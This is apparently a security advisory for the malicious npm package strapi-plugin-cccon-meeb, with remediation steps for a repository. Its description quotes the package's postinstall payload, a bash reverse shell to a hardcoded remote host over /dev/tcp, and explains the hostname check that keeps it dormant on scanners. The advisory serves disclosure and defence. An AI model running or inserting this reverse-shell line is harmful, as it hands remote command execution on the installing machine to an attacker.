MAL-2026-16225 Malicious code in strapi-plugin-cccon-meeb (npm)
Malicious package
Published
MAL-2026-16225 is a malicious package: strapi-plugin-cccon-meeb (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-16225/ (Markdown: https://insights.sbomify.com/MAL-2026-16225/index.md)
- Package
- strapi-plugin-cccon-meeb
- Registry
- npm
What is MAL-2026-16225?
MAL-2026-16225 is a malicious package in strapi-plugin-cccon-meeb, published on 16 Sep 2026.
Official description
postinstall.js runs automatically on
npm install and executes a bash reverse shell to the hardcoded remote host 14.225.210.85:80 via /dev/tcp, granting that host interactive command execution on the installing machine. Execution is gated by os.hostname() === 'ubuntu-fc-uvm': on non-matching hosts the script exits silently, while on the targeted hostname it spawns bash -i >& /dev/tcp/14.225.210.85/80 0>&1. The hostname allowlist is a detonation guard that keeps the payload dormant on generic scanners and typical developer machines while firing on the intended target. The package is presented as a Strapi plugin but ships no plugin functionality relevant to this behavior in the postinstall path; the lifecycle script's sole effect is the reverse-shell attempt.What should I do about MAL-2026-16225?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.